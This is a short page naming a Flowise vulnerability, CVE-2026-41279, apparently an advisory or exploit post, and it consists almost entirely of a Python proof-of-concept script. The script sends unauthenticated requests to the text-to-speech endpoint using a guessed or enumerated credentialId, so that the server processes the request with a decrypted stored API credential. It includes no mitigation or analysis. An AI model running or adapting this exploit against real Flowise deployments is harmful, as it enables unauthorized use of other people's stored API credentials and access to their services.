CVE-2026-41279 Flowise API凭证解密漏洞

import requests import json # Target URL of the vulnerable Flowise instance target_url = "http://<target-ip>:3000/api/v1/text-to-speech/generate" # The vulnerable endpoint accepts a credentialId without checking chatflowId or authentication # An attacker can iterate IDs to find valid credentials headers = { "Content-Type": "application/json" } # Example payload exploiting the vulnerability # Replace 'target_credential_id' with a valid ID found via enumeration or known default payload = { "credentialId": "target_credential_id", "text": "Test speech generation", # Note: 'chatflowId' is omitted to trigger the vulnerable logic path } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Request successful. The endpoint processed the request using the decrypted credential.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")